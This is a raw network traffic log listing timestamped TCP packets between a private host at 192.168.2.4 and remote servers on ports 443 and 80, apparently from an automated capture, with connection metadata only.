Oct 4, 2024 11:23:02.976722956 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.976739883 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.976764917 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.976772070 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.976794958 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.977510929 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.977564096 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.977571011 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.977612019 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.978037119 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.978101015 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.982635021 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.982705116 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.982876062 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.982920885 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.982940912 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.982948065 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.982968092 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.982996941 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.983473063 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.983547926 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.983549118 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.983566046 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.983608007 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.984113932 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.984189034 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.984319925 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.984419107 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.067913055 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.067969084 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.068005085 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.068030119 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.068065882 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.068097115 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.068253994 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.068301916 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.068316936 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.068324089 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.068366051 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.068392992 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.068890095 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.068953037 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.069998026 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.070015907 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.070058107 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.070065022 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.070107937 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.071151972 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.071202993 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.071233988 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.071238995 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.071280956 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.072386026 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.072403908 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.072463989 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.072472095 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.072508097 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.073506117 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.073523998 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.073587894 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.073595047 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.073637962 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.074354887 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.074378014 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.074438095 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.074445009 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.074512005 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.075974941 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.075994015 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.076047897 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.076055050 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.076091051 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.158657074 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.158684969 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.158735037 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.158754110 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.158785105 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.158818007 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.159543037 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.159559011 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.159621954 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.159632921 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.159674883 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.160144091 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.160168886 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.160226107 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.160233974 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.160289049 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.161170959 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.161186934 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.161233902 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.161241055 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.161274910 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.161297083 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.163275957 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.163292885 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.163383007 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.163393021 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.163435936 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.164242029 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.164256096 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.164369106 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.164376020 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.164427996 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.165447950 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.165466070 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.165544033 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.165551901 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.165602922 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.166451931 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.166467905 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.166520119 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.166528940 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.166568041 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.166595936 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.250490904 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.250511885 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.250593901 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.250618935 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.250646114 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.250669956 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.251321077 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.251338959 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.251404047 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.251414061 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.251472950 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.252626896 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.252644062 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.252701998 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.252711058 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.252768040 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.253269911 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.253289938 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.253349066 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.253357887 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.253398895 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.254523993 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.254539967 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.254585981 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.254596949 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.254640102 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.254666090 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.255557060 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.255574942 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.255633116 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.255640984 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.255677938 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.255711079 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.256266117 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.256282091 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.256325960 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.256335020 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.256361008 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.256390095 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.257272959 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.257287979 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.257337093 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.257349014 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.257384062 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.257409096 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.342745066 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.342768908 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.342833996 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.342855930 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.342895985 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.342922926 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.343153954 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.343179941 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.343235016 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.343244076 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.343298912 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.343941927 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.343957901 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.344011068 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.344021082 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.344049931 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.344074011 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.345716953 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.345736027 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.345797062 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.345805883 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.345874071 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.346630096 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.346648932 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.346697092 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.346705914 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.346740961 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.346776962 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.378200054 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.378232956 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.378279924 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.378294945 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.378336906 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.378357887 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.378731966 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.378750086 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.378810883 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.378820896 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.378870964 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.379919052 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.379937887 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.379981995 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.379990101 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.380019903 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.380040884 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.434288979 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.434308052 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.434376955 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.434392929 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.434437037 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.435441017 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.435458899 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.435517073 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.435524940 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.435581923 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.436461926 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.436477900 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.436534882 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.436542988 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.436589956 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.437393904 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.437414885 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.437453985 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.437462091 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.437491894 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.437519073 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.438262939 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.438282967 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.438324928 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.438334942 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.438354969 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.438385963 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.439670086 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.439691067 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.439742088 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.439749956 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.439780951 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.439814091 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.440737009 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.440753937 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.440804958 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.440813065 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.440841913 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.440875053 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.442022085 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.442039967 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.442095041 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.442104101 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.442143917 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.525254011 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.525333881 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.525367022 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.525382996 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.525418997 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.525440931 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.526118040 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.526164055 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.526196957 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.526206970 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.526221991 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.526242971 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.528145075 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.528191090 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.528223991 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.528230906 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.528275013 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.528296947 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.528922081 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.528964996 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.529001951 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.529009104 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.529036999 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.529071093 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.529860973 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.529903889 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.529936075 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.529942989 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.529979944 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.529999971 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.530642033 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.530720949 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.530724049 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.530750036 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.530783892 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.530905962 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:03.530961037 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.531089067 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:03.572264910 CEST	49736	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:03.573076010 CEST	49739	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:03.584764957 CEST	80	49736	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:03.584810019 CEST	80	49739	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:03.584836006 CEST	49736	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:03.584886074 CEST	49739	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:03.585148096 CEST	49739	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:03.596127033 CEST	80	49739	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:04.645102978 CEST	80	49739	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:04.645644903 CEST	80	49739	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:04.647146940 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:04.647207975 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:04.647267103 CEST	49739	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:04.647353888 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:04.647583961 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:04.647604942 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:04.673118114 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:04.676489115 CEST	49739	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:04.677165985 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:04.683422089 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:04.683438063 CEST	80	49739	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:04.683552027 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:04.683561087 CEST	49739	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:04.683701038 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:04.689306974 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:04.715421915 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:05.150015116 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:05.150149107 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.327475071 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:05.328795910 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.328840971 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:05.329124928 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.329521894 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.334403038 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:05.523138046 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:05.524162054 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.524211884 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:05.524866104 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.525218964 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.530426979 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:05.716279984 CEST	80	49742	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:05.717449903 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.717494011 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:05.717559099 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.717879057 CEST	49742	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:05.722883940 CEST	80	49742	188.114.96.3	192.168.2.4
